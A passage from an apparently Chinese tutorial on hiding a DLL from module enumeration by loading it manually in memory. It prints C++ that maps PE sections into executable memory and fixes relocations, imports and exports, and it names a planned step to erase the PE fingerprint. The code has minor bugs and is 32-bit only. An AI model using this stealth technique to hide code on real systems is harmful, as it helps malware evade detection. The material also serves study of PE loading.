和SizeOfHeaders
。PIMAGE_SECTION_HEADER pSec
:节头数组的开始,位于可选头之后。节头描述了每个节的特性和位置。
2. 内存分配
- 使用
VirtualAlloc
分配足够的内存以容纳整个映像(pOpo->SizeOfImage
指定的大小)。分配的内存页面属性设置为PAGE_EXECUTE_READWRITE
,允许执行、读取和写入操作。 memset
被用来初始化新分配的内存区域,确保所有内容都是零。
3. 复制头部和节表数据
- 使用
memcpy
将整个 PE 头(包括所有节头)从文件缓存复制到新分配的内存中。pOpo->SizeOfHeaders
指定了头部的总大小。
4. 复制每个节的数据
- 通过一个循环,遍历每个节:
- 源地址:
pFileBuffer + pSec[i].PointerToRawData
指向文件缓存中当前节的数据起始位置。 - 目标地址:
pImageBuffer + pSec[i].VirtualAddress
指向内存映像中节应当被复制到的位置。 - 复制长度:
pSec[i].SizeOfRawData
定义了需要从文件中复制多少数据到内存映像。
- 源地址:
- 这样处理每个节确保它们在内存中的位置与加载到虚拟地址空间时相符。
5. 释放文件缓存
- 使用
free
释放原始的文件缓存,因为数据已经被成功复制到内存映像中。
修复重定位数据
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
//隐藏模块路径
#define MODULE_PATH "D:\\Ferry\\Project\\HideModule\\Debug\\TestDll.dll"
//遍历模块
DWORD WINAPI TravelModule(LPVOID lp)
{
while (1)
{
system("cls");
HANDLE hSnap = 0;
MODULEENTRY32 ME32 = { 0 };
ME32.dwSize = sizeof(ME32);
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
if (hSnap == INVALID_HANDLE_VALUE)
{
return 0;
}
if (Module32First(hSnap, &ME32))
{
do
{
wprintf(L"%s \n", ME32.szModule);
} while (Module32Next(hSnap, &ME32));
}
CloseHandle(hSnap);
Sleep(1000);
}
}
//读取模块二进制数据
PCHAR FileToMem(PCHAR szFilePath, LPWORD lpdwFileSize)
{
FILE* pFile = NULL;
DWORD dwFileSize = 0;
PCHAR pFileBuffer = NULL;
//打开文件
fopen_s(&pFile, szFilePath, "rb");
if (pFile == NULL)
{
return NULL;
}
//获取文件大小
fseek(pFile, 0, SEEK_END);
dwFileSize = ftell(pFile);
fseek(pFile, 0, SEEK_SET);
//申请内存模块数据
pFileBuffer = (PCHAR)malloc(dwFileSize);
if (pFileBuffer == NULL)
{
fclose(pFile);
return NULL;
}
memset(pFileBuffer, 0, dwFileSize);
//读取文件数据
fread_s(pFileBuffer, dwFileSize, dwFileSize, 1, pFile);
//判断是否为PE文件
if (*(PSHORT)pFileBuffer != IMAGE_DOS_SIGNATURE)
{
fclose(pFile);
free(pFileBuffer);
return NULL;
}
//PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pFileBuffer;
//PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)((PCHAR)pDos + pDos->e_lfanew);
if (*(LPDWORD)(pFileBuffer + *(LPDWORD)(pFileBuffer + 0x3C)) != IMAGE_NT_SIGNATURE)
{
fclose(pFile);
free(pFileBuffer);
return NULL;
}
//关闭文件
fclose(pFile);
return pFileBuffer;
}
//文件缓存转内存缓存
PCHAR FileBufferToImageBuffer(PCHAR pFileBuffer)
{
PCHAR pImageBuffer = 0;
//定位PE结构
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pFileBuffer;
PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)((PCHAR)pDos + pDos->e_lfanew);
PIMAGE_FILE_HEADER pFil = (PIMAGE_FILE_HEADER)((PCHAR)pNth + 4);
PIMAGE_OPTIONAL_HEADER pOpo = (PIMAGE_OPTIONAL_HEADER)((PCHAR)pFil + IMAGE_SIZEOF_FILE_HEADER);
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((PCHAR)pOpo + pFil->SizeOfOptionalHeader);
//分配内存存储内存缓存
pImageBuffer = (PCHAR)VirtualAlloc(NULL, pOpo->SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pImageBuffer == NULL)
{
return NULL;
}
memset(pImageBuffer, 0, pOpo->SizeOfImage);
//拷贝头加节表数据
memcpy(pImageBuffer, pFileBuffer, pOpo->SizeOfHeaders);
//拷贝节区数据
for (size_t i = 0; i < pFil->NumberOfSections; i++)
{
memcpy(
pImageBuffer + pSec[i].VirtualAddress,
pFileBuffer + pSec[i].PointerToRawData,
pSec[i].SizeOfRawData
);
}
//释放文件缓存
free(pFileBuffer);
return pImageBuffer;
}
//修复重定位数据
VOID RepairRelocationEntry(PCHAR pImageBuffer)
{
//定位结构
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
//默认Imagebase
DWORD dwOldImageBase = pNth->OptionalHeader.ImageBase;
//判断是否有重定位表
if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == NULL)
{
return;
}
//定位第一个重定位结构
PIMAGE_BASE_RELOCATION pRel = (PIMAGE_BASE_RELOCATION)(pImageBuffer + pNth->OptionalHeader.DataDirectory[5].VirtualAddress);
//遍历重定位项并修复
while (pRel->VirtualAddress && pRel->SizeOfBlock)
{
//重定位项基址
DWORD dwBaseRva = pRel->VirtualAddress;
//重定位项数量
DWORD dwNumberOfRelEntry = (pRel->SizeOfBlock - 8) / 2;
//重定位项
PWORD pRelEntry = (PWORD)((PCHAR)pRel + 8);
for (size_t i = 0; i < dwNumberOfRelEntry; i++)
{
//x86下高四位为0011,x64下高四位为1010,是需要修复的重定位项
if ((pRelEntry[i] & 0x3000) == 0x3000)
{
//重定位项低十二位 + virtualaddress = rva;
DWORD dwData = pRelEntry[i] & 0xFFF;
DWORD dwDataRva = dwData + dwBaseRva;
PDWORD pData = (PDWORD)(dwDataRva + pImageBuffer);
DWORD dwRepair = (DWORD)(*pData - dwOldImageBase + pImageBuffer);
*pData = dwRepair;
}
}
pRel = (PIMAGE_BASE_RELOCATION)((PCHAR)pRel + pRel->SizeOfBlock);
}
}
VOID HideModuleByMemLoad(PCHAR szFilePath)
{
PCHAR pFileBuffer = NULL;
PCHAR pImageBuffer = NULL;
//1.读取模块二进制数据
pFileBuffer = FileToMem(szFilePath, NULL);
if (pFileBuffer == NULL)
{
return;
}
//2.按照PE文件格式拉伸到内存
pImageBuffer = FileBufferToImageBuffer(pFileBuffer);
if (pFileBuffer == NULL)
{
return;
}
//3.修复重定位数据
//printf("%x \n", dw); 记得关闭随机基址
//00412111 A1 00 B0 41 00 mov eax,dword ptr [dw (041B000h)]
//00512111 A1 00 B0 51 00 mov eax,dword ptr [dw (051B000h)] 基址变为500000
//00412111 - 400000 = 12111 RVA
//12000
//3111 高四位是0011,后面才是页内偏移
RepairRelocationEntry(pImageBuffer);
//4.修复导入地址表
//5.构建GetProcAddress
//6.抹除PE指纹
}
int main()
{
//HANDLE hThread = CreateThread(NULL, 0, TravelModule, NULL, 0, NULL);
//if (hThread == NULL) { return 0; }
HideModuleByMemLoad((PCHAR)MODULE_PATH);
return 0;
}
这段代码实现了 Windows PE 文件的基地址重定位处理。在动态加载一个 PE
文件时,如果加载的地址与文件原始预设的 ImageBase
不匹配,则需要进行重定位修正。下面是这段代码的详细解释:
定位结构
- 定位 DOS 和 NT 头
pDos
指向映像缓冲区的起始,认为这是IMAGE_DOS_HEADER
。pNth
通过 DOS 头中的e_lfanew
偏移量定位到IMAGE_NT_HEADERS
。
- 读取原始
ImageBase
dwOldImageBase
从 NT 头的可选头部分读取,这是该文件预期被加载到内存中的虚拟地址。
检查重定位表的存在性
- 检查数据目录中的基地址重定位表
(
IMAGE_DIRECTORY_ENTRY_BASERELOC
) 是否存在,即其虚拟地址是否为NULL
。如果没有重定位表,函数直接返回,不进行任何操作。
遍历重定位表并修复
- 定位第一个重定位块
pRel
定位到重定位表的起始位置,这是一个IMAGE_BASE_RELOCATION
结构。
- 遍历所有重定位块
- 通过
pRel->VirtualAddress
和pRel->SizeOfBlock
遍历重定位表。每个块包括一组需要修复的重定位项。 - 继续遍历,直到
VirtualAddress
为 0 或SizeOfBlock
为 0。
- 通过
- 处理每个重定位块内的重定位项
- 计算该块中重定位项的数量:
(pRel->SizeOfBlock - 8) / 2
(每个重定位项占用 2 字节)。 pRelEntry
指向块中第一个重定位项。
- 计算该块中重定位项的数量:
- 修复重定位项
- 对于每个重定位项,首先检查其类型(在 x86 下高四位为
0011
,在 x64 下高四位为1010
)。这些类型指示该地址需要被修复。 - 对于需要修复的项,从重定位项中提取偏移量(低 12 位),并计算该偏移量相对于当前块的起始虚拟地址的实际地址。
pData
是实际需要修复的内存地址。- 计算修复值:原来的值减去原始
ImageBase
加上当前映像缓冲区的地址,然后写回修复后的地址。
- 对于每个重定位项,首先检查其类型(在 x86 下高四位为
- 移动到下一个重定位块
- 根据当前块的大小更新
pRel
指针,以指向下一个块。
- 根据当前块的大小更新
修复导入表数据
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
//隐藏模块路径
#define MODULE_PATH "D:\\Ferry\\Project\\HideModule\\Debug\\TestDll.dll"
//遍历模块
DWORD WINAPI TravelModule(LPVOID lp)
{
while (1)
{
system("cls");
HANDLE hSnap = 0;
MODULEENTRY32 ME32 = { 0 };
ME32.dwSize = sizeof(ME32);
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
if (hSnap == INVALID_HANDLE_VALUE)
{
return 0;
}
if (Module32First(hSnap, &ME32))
{
do
{
wprintf(L"%s \n", ME32.szModule);
} while (Module32Next(hSnap, &ME32));
}
CloseHandle(hSnap);
Sleep(1000);
}
}
//读取模块二进制数据
PCHAR FileToMem(PCHAR szFilePath, LPWORD lpdwFileSize)
{
FILE* pFile = NULL;
DWORD dwFileSize = 0;
PCHAR pFileBuffer = NULL;
//打开文件
fopen_s(&pFile, szFilePath, "rb");
if (pFile == NULL)
{
return NULL;
}
//获取文件大小
fseek(pFile, 0, SEEK_END);
dwFileSize = ftell(pFile);
fseek(pFile, 0, SEEK_SET);
//申请内存模块数据
pFileBuffer = (PCHAR)malloc(dwFileSize);
if (pFileBuffer == NULL)
{
fclose(pFile);
return NULL;
}
memset(pFileBuffer, 0, dwFileSize);
//读取文件数据
fread_s(pFileBuffer, dwFileSize, dwFileSize, 1, pFile);
//判断是否为PE文件
if (*(PSHORT)pFileBuffer != IMAGE_DOS_SIGNATURE)
{
fclose(pFile);
free(pFileBuffer);
return NULL;
}
//PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pFileBuffer;
//PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)((PCHAR)pDos + pDos->e_lfanew);
if (*(LPDWORD)(pFileBuffer + *(LPDWORD)(pFileBuffer + 0x3C)) != IMAGE_NT_SIGNATURE)
{
fclose(pFile);
free(pFileBuffer);
return NULL;
}
//关闭文件
fclose(pFile);
return pFileBuffer;
}
//文件缓存转内存缓存
PCHAR FileBufferToImageBuffer(PCHAR pFileBuffer)
{
PCHAR pImageBuffer = 0;
//定位PE结构
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pFileBuffer;
PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)((PCHAR)pDos + pDos->e_lfanew);
PIMAGE_FILE_HEADER pFil = (PIMAGE_FILE_HEADER)((PCHAR)pNth + 4);
PIMAGE_OPTIONAL_HEADER pOpo = (PIMAGE_OPTIONAL_HEADER)((PCHAR)pFil + IMAGE_SIZEOF_FILE_HEADER);
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((PCHAR)pOpo + pFil->SizeOfOptionalHeader);
//分配内存存储内存缓存
pImageBuffer = (PCHAR)VirtualAlloc(NULL, pOpo->SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pImageBuffer == NULL)
{
return NULL;
}
memset(pImageBuffer, 0, pOpo->SizeOfImage);
//拷贝头加节表数据
memcpy(pImageBuffer, pFileBuffer, pOpo->SizeOfHeaders);
//拷贝节区数据
for (size_t i = 0; i < pFil->NumberOfSections; i++)
{
memcpy(
pImageBuffer + pSec[i].VirtualAddress,
pFileBuffer + pSec[i].PointerToRawData,
pSec[i].SizeOfRawData
);
}
//释放文件缓存
free(pFileBuffer);
return pImageBuffer;
}
//修复重定位数据
VOID RepairRelocationEntry(PCHAR pImageBuffer)
{
//定位结构
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
//默认Imagebase
DWORD dwOldImageBase = pNth->OptionalHeader.ImageBase;
//判断是否有重定位表
if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == NULL)
{
return;
}
//定位第一个重定位结构
PIMAGE_BASE_RELOCATION pRel = (PIMAGE_BASE_RELOCATION)(pImageBuffer + pNth->OptionalHeader.DataDirectory[5].VirtualAddress);
//遍历重定位项并修复
while (pRel->VirtualAddress && pRel->SizeOfBlock)
{
//重定位项基址
DWORD dwBaseRva = pRel->VirtualAddress;
//重定位项数量
DWORD dwNumberOfRelEntry = (pRel->SizeOfBlock - 8) / 2;
//重定位项
PWORD pRelEntry = (PWORD)((PCHAR)pRel + 8);
for (size_t i = 0; i < dwNumberOfRelEntry; i++)
{
//x86下高四位为0011,x64下高四位为1010,是需要修复的重定位项
if ((pRelEntry[i] & 0x3000) == 0x3000)
{
//重定位项低十二位 + virtualaddress = rva;
DWORD dwData = pRelEntry[i] & 0xFFF;
DWORD dwDataRva = dwData + dwBaseRva;
PDWORD pData = (PDWORD)(dwDataRva + pImageBuffer);
DWORD dwRepair = (DWORD)(*pData - dwOldImageBase + pImageBuffer);
*pData = dwRepair;
}
}
pRel = (PIMAGE_BASE_RELOCATION)((PCHAR)pRel + pRel->SizeOfBlock);
}
}
//修复导入表数据
BOOL RepairImportAddressTable(PCHAR pImageBuffer)
{
//定位结构
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
//判断是否有导入表结构
if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress == NULL)
{
return FALSE;
}
//定位第一个导入表结构
PIMAGE_IMPORT_DESCRIPTOR pImp = (PIMAGE_IMPORT_DESCRIPTOR)(pImageBuffer + pNth->OptionalHeader.DataDirectory[1].VirtualAddress);
//遍历导入表数据
while (pImp->OriginalFirstThunk && pImp->FirstThunk)
{
//获取导入模块
PCHAR pDllName = PCHAR(pImageBuffer + pImp->Name);
//加载导入模块
HMODULE hModule = LoadLibraryA(pDllName);
if (!hModule)
{
return false;
}
//INT IAT
PDWORD pInt = (PDWORD)(pImageBuffer + pImp->OriginalFirstThunk);
PDWORD pIat = (PDWORD)(pImageBuffer + pImp->FirstThunk);
do
{
//修复函数地址
DWORD dwFunAddr = 0;
//判断导入方式 最高位为1(0x80000000)那么低31位为导出序号,否则指向PIMAGE_IMPORT_BY_NAME
if ((*pInt & IMAGE_ORDINAL_FLAG) == 0x80000000)
{
dwFunAddr = (DWORD)GetProcAddress(hModule, (LPCSTR)(*pInt & 0x7FFFFFFF));
}
else
{
PIMAGE_IMPORT_BY_NAME pName = (PIMAGE_IMPORT_BY_NAME)(pImageBuffer + *pInt);
dwFunAddr = (DWORD)GetProcAddress(hModule, pName->Name);
}
if (!dwFunAddr)
{
return FALSE;
}
*pIat = dwFunAddr;
pInt++;
pIat++;
} while (*pInt);
pImp++;
}
return TRUE;
}
VOID HideModuleByMemLoad(PCHAR szFilePath)
{
BOOL bRet = 0;
PCHAR pFileBuffer = NULL;
PCHAR pImageBuffer = NULL;
//1.读取模块二进制数据
pFileBuffer = FileToMem(szFilePath, NULL);
if (pFileBuffer == NULL)
{
return;
}
//2.按照PE文件格式拉伸到内存
pImageBuffer = FileBufferToImageBuffer(pFileBuffer);
if (pFileBuffer == NULL)
{
return;
}
//3.修复重定位数据
//DWORD dw = 10;
//printf("%x \n", dw); 记得关闭随机基址
//00412111 A1 00 B0 41 00 mov eax,dword ptr [dw (041B000h)]
//00512111 A1 00 B0 51 00 mov eax,dword ptr [dw (051B000h)] 基址变为500000
//00412111 - 400000 = 12111 RVA
//12000
//3111 高四位是0011,后面才是页内偏移
RepairRelocationEntry(pImageBuffer);
//4.修复导入地址表
bRet = RepairImportAddressTable(pImageBuffer);
if (!bRet)
{
return;
}
//5.构建GetProcAddress
//6.抹除PE指纹
}
int main()
{
//HANDLE hThread = CreateThread(NULL, 0, TravelModule, NULL, 0, NULL);
//if (hThread == NULL) { return 0; }
HideModuleByMemLoad((PCHAR)MODULE_PATH);
return 0;
}
这段代码实现了 PE 文件的导入地址表(IAT)修复。在加载一个 DLL 或 EXE 文件到内存时,如果使用的是动态链接(即文件依赖其他 DLL 文件的函数),操作系统或自定义加载器需要修复这些外部函数引用,以确保程序能够正确地调用外部库中的函数。这个过程涉及读取和更新导入地址表。下面是对该代码的详细解释:
定位结构和导入表检查
- 定位 DOS 和 NT 头
pDos
指向映像缓冲区的起始,认为这是IMAGE_DOS_HEADER
。pNth
通过 DOS 头中的e_lfanew
偏移定位到IMAGE_NT_HEADERS
。
- 检查是否有导入表
- 如果
DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress
为NULL
,则表示没有导入表,函数返回FALSE
。
- 如果
定位导入表并遍历
- 定位第一个导入表结构
pImp
指向导入表的第一个IMAGE_IMPORT_DESCRIPTOR
,此结构描述了一个特定的 DLL 和它的导入函数。
- 遍历导入表
- 使用循环遍历每个
IMAGE_IMPORT_DESCRIPTOR
。如果OriginalFirstThunk
和FirstThunk
都不为零,则继续处理。
- 使用循环遍历每个
处理每个导入模块
- 获取并加载导入模块
pDllName
指向导入 DLL 的名称。- 使用
LoadLibraryA
加载该 DLL,如果加载失败,返回FALSE
。
- 遍历导入名称表 (INT) 和导入地址表 (IAT)
pInt
(导入名称表)和pIat
(导入地址表)指针初始化。- 通过循环,为每个导入函数找到并修复其地址。
函数地址修复
- 判断导入方式
- 如果
pInt
的当前项的最高位为1(IMAGE_ORDINAL_FLAG
),则该值的低31位表示导出序号。 - 否则,它指向一个
IMAGE_IMPORT_BY_NAME
结构,包含函数的名称。
- 如果
- 获取函数地址
- 使用
GetProcAddress
根据导出序号或函数名称从已加载的 DLL 获取函数地址。 - 如果获取失败,返回
FALSE
。
- 使用
- 更新 IAT
- 将获取的函数地址写入到 IAT 对应位置,以便程序能调用正确的函数地址。
循环处理
- 对每个
pInt
和pIat
递增,直到pInt
指向的值为 0,表示当前 DLL 的所有导入已处理完毕。 pImp++
移动到下一个IMAGE_IMPORT_DESCRIPTOR
,继续处理下一个 DLL。
返回值
- 如果所有导入模块的所有函数都成功修复,函数返回
TRUE
。
重载导出表地址
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
//隐藏模块路径
#define MODULE_PATH "D:\\Ferry\\Project\\HideModule\\Debug\\TestDll.dll"
//遍历模块
DWORD WINAPI TravelModule(LPVOID lp)
{
while (1)
{
system("cls");
HANDLE hSnap = 0;
MODULEENTRY32 ME32 = { 0 };
ME32.dwSize = sizeof(ME32);
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
if (hSnap == INVALID_HANDLE_VALUE)
{
return 0;
}
if (Module32First(hSnap, &ME32))
{
do
{
wprintf(L"%s \n", ME32.szModule);
} while (Module32Next(hSnap, &ME32));
}
CloseHandle(hSnap);
Sleep(1000);
}
}
//读取模块二进制数据
PCHAR FileToMem(PCHAR szFilePath, LPWORD lpdwFileSize)
{
FILE* pFile = NULL;
DWORD dwFileSize = 0;
PCHAR pFileBuffer = NULL;
//打开文件
fopen_s(&pFile, szFilePath, "rb");
if (pFile == NULL)
{
return NULL;
}
//获取文件大小
fseek(pFile, 0, SEEK_END);
dwFileSize = ftell(pFile);
fseek(pFile, 0, SEEK_SET);
//申请内存模块数据
pFileBuffer = (PCHAR)malloc(dwFileSize);
if (pFileBuffer == NULL)
{
fclose(pFile);
return NULL;
}
memset(pFileBuffer, 0, dwFileSize);
//读取文件数据
fread_s(pFileBuffer, dwFileSize, dwFileSize, 1, pFile);
//判断是否为PE文件
if (*(PSHORT)pFileBuffer != IMAGE_DOS_SIGNATURE)
{
fclose(pFile);
free(pFileBuffer);
return NULL;
}
//PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pFileBuffer;
//PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)((PCHAR)pDos + pDos->e_lfanew);
if (*(LPDWORD)(pFileBuffer + *(LPDWORD)(pFileBuffer + 0x3C)) != IMAGE_NT_SIGNATURE)
{
fclose(pFile);
free(pFileBuffer);
return NULL;
}
//关闭文件
fclose(pFile);
return pFileBuffer;
}
//文件缓存转内存缓存
PCHAR FileBufferToImageBuffer(PCHAR pFileBuffer)
{
PCHAR pImageBuffer = 0;
//定位PE结构
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pFileBuffer;
PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)((PCHAR)pDos + pDos->e_lfanew);
PIMAGE_FILE_HEADER pFil = (PIMAGE_FILE_HEADER)((PCHAR)pNth + 4);
PIMAGE_OPTIONAL_HEADER pOpo = (PIMAGE_OPTIONAL_HEADER)((PCHAR)pFil + IMAGE_SIZEOF_FILE_HEADER);
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((PCHAR)pOpo + pFil->SizeOfOptionalHeader);
//分配内存存储内存缓存
pImageBuffer = (PCHAR)VirtualAlloc(NULL, pOpo->SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pImageBuffer == NULL)
{
return NULL;
}
memset(pImageBuffer, 0, pOpo->SizeOfImage);
//拷贝头加节表数据
memcpy(pImageBuffer, pFileBuffer, pOpo->SizeOfHeaders);
//拷贝节区数据
for (size_t i = 0; i < pFil->NumberOfSections; i++)
{
memcpy(
pImageBuffer + pSec[i].VirtualAddress,
pFileBuffer + pSec[i].PointerToRawData,
pSec[i].SizeOfRawData
);
}
//释放文件缓存
free(pFileBuffer);
return pImageBuffer;
}
//修复重定位数据
VOID RepairRelocationEntry(PCHAR pImageBuffer)
{
//定位结构
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
//默认Imagebase
DWORD dwOldImageBase = pNth->OptionalHeader.ImageBase;
//判断是否有重定位表
if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == NULL)
{
return;
}
//定位第一个重定位结构
PIMAGE_BASE_RELOCATION pRel = (PIMAGE_BASE_RELOCATION)(pImageBuffer + pNth->OptionalHeader.DataDirectory[5].VirtualAddress);
//遍历重定位项并修复
while (pRel->VirtualAddress && pRel->SizeOfBlock)
{
//重定位项基址
DWORD dwBaseRva = pRel->VirtualAddress;
//重定位项数量
DWORD dwNumberOfRelEntry = (pRel->SizeOfBlock - 8) / 2;
//重定位项
PWORD pRelEntry = (PWORD)((PCHAR)pRel + 8);
for (size_t i = 0; i < dwNumberOfRelEntry; i++)
{
//x86下高四位为0011,x64下高四位为1010,是需要修复的重定位项
if ((pRelEntry[i] & 0x3000) == 0x3000)
{
//重定位项低十二位 + virtualaddress = rva;
DWORD dwData = pRelEntry[i] & 0xFFF;
DWORD dwDataRva = dwData + dwBaseRva;
PDWORD pData = (PDWORD)(dwDataRva + pImageBuffer);
DWORD dwRepair = (DWORD)(*pData - dwOldImageBase + pImageBuffer);
*pData = dwRepair;
}
}
pRel = (PIMAGE_BASE_RELOCATION)((PCHAR)pRel + pRel->SizeOfBlock);
}
}
//修复导入表数据
BOOL RepairImportAddressTable(PCHAR pImageBuffer)
{
//定位结构
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
//判断是否有导入表结构
if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress == NULL)
{
return FALSE;
}
//定位第一个导入表结构
PIMAGE_IMPORT_DESCRIPTOR pImp = (PIMAGE_IMPORT_DESCRIPTOR)(pImageBuffer + pNth->OptionalHeader.DataDirectory[1].VirtualAddress);
//遍历导入表数据
while (pImp->OriginalFirstThunk && pImp->FirstThunk)
{
//获取导入模块
PCHAR pDllName = PCHAR(pImageBuffer + pImp->Name);
//加载导入模块
HMODULE hModule = LoadLibraryA(pDllName);
if (!hModule)
{
return false;
}
//INT IAT
PDWORD pInt = (PDWORD)(pImageBuffer + pImp->OriginalFirstThunk);
PDWORD pIat = (PDWORD)(pImageBuffer + pImp->FirstThunk);
do
{
//修复函数地址
DWORD dwFunAddr = 0;
//判断导入方式 最高位为1(0x80000000)那么低31位为导出序号,否则指向PIMAGE_IMPORT_BY_NAME
if ((*pInt & IMAGE_ORDINAL_FLAG) == 0x80000000)
{
dwFunAddr = (DWORD)GetProcAddress(hModule, (LPCSTR)(*pInt & 0x7FFFFFFF));
}
else
{
PIMAGE_IMPORT_BY_NAME pName = (PIMAGE_IMPORT_BY_NAME)(pImageBuffer + *pInt);
dwFunAddr = (DWORD)GetProcAddress(hModule, pName->Name);
}
if (!dwFunAddr)
{
return FALSE;
}
*pIat = dwFunAddr;
pInt++;
pIat++;
} while (*pInt);
pImp++;
}
return TRUE;
}
//通过函数导出名定位函数地址
DWORD GetExportFunAddrByName(PCHAR pImageBuffer, PCHAR szFunName)
{
//定位结构
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
//判断导出表结构
if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == NULL)
{
return 0;
}
//定位导出表结构
PIMAGE_EXPORT_DIRECTORY pExp = (PIMAGE_EXPORT_DIRECTORY)(pImageBuffer + pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
//定位三张表 地址表 名称表 序号表
LPDWORD lpAdd_Fun = (LPDWORD)(pImageBuffer + pExp->AddressOfFunctions);
LPDWORD lpAdd_Nam = (LPDWORD)(pImageBuffer + pExp->AddressOfNames);
LPWORD lpAdd_Ord = (LPWORD)(pImageBuffer + pExp->AddressOfNameOrdinals);
for (size_t i = 0; i < pExp->NumberOfNames; i++)
{
if (strcmp(szFunName, (PCHAR)(pImageBuffer + lpAdd_Nam[i])) == 0)
{
return (DWORD)lpAdd_Fun[lpAdd_Ord[i]] + (DWORD)pImageBuffer;
}
}
}
//通过函数导出序号定位函数地址
DWORD GetExportFunAddrByOrdinal(PCHAR pImageBuffer, DWORD dwOrdinal)
{
//定位结构
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
//判断导出表结构
if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == NULL)
{
return 0;
}
//定位导出表结构
PIMAGE_EXPORT_DIRECTORY pExp = (PIMAGE_EXPORT_DIRECTORY)(pImageBuffer + pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
//定位三张表 地址表 名称表 序号表
LPDWORD lpAdd_Fun = (LPDWORD)(pImageBuffer + pExp->AddressOfFunctions);
LPDWORD lpAdd_Nam = (LPDWORD)(pImageBuffer + pExp->AddressOfNames);
LPWORD lpAdd_Ord = (LPWORD)(pImageBuffer + pExp->AddressOfNameOrdinals);
return (DWORD)lpAdd_Fun[dwOrdinal - pExp->Base] + (DWORD)pImageBuffer;
}
VOID HideModuleByMemLoad(PCHAR szFilePath)
{
BOOL bRet = 0;
PCHAR pFileBuffer = NULL;
PCHAR pImageBuffer = NULL;
//1.读取模块二进制数据
pFileBuffer = FileToMem(szFilePath, NULL);
if (pFileBuffer == NULL)
{
return;
}
//2.按照PE文件格式拉伸到内存
pImageBuffer = FileBufferToImageBuffer(pFileBuffer);
if (pFileBuffer == NULL)
{
return;
}
//3.修复重定位数据
//DWORD dw = 10;
//printf("%x \n", dw); 记得关闭随机基址
//00412111 A1 00 B0 41 00 mov eax,dword ptr [dw (041B000h)]
//00512111 A1 00 B0 51 00 mov eax,dword ptr [dw (051B000h)] 基址变为500000
//00412111 - 400000 = 12111 RVA
//12000
//3111 高四位是0011,后面才是页内偏移
RepairRelocationEntry(pImageBuffer);
//4.修复导入地址表
bRet = RepairImportAddressTable(pImageBuffer);
if (!bRet)
{
return;
}
//5.构建GetProcAddress
typedef int(_cdecl* Add_Fun)(int, int);
Add_Fun dwFun1 = (Add_Fun)GetExportFunAddrByName(pImageBuffer, (PCHAR)"Add");
printf("%d \n", dwFun1(1, 2));
DWORD dwFun2 = GetExportFunAddrByOrdinal(pImageBuffer, 2);
//6.抹除PE指纹
}
int main()
{
HANDLE hThread = CreateThread(NULL, 0, TravelModule, NULL, 0, NULL);
if (hThread == NULL) { return 0; }
HideModuleByMemLoad((PCHAR)MODULE_PATH);
system("pause");
return 0;
}
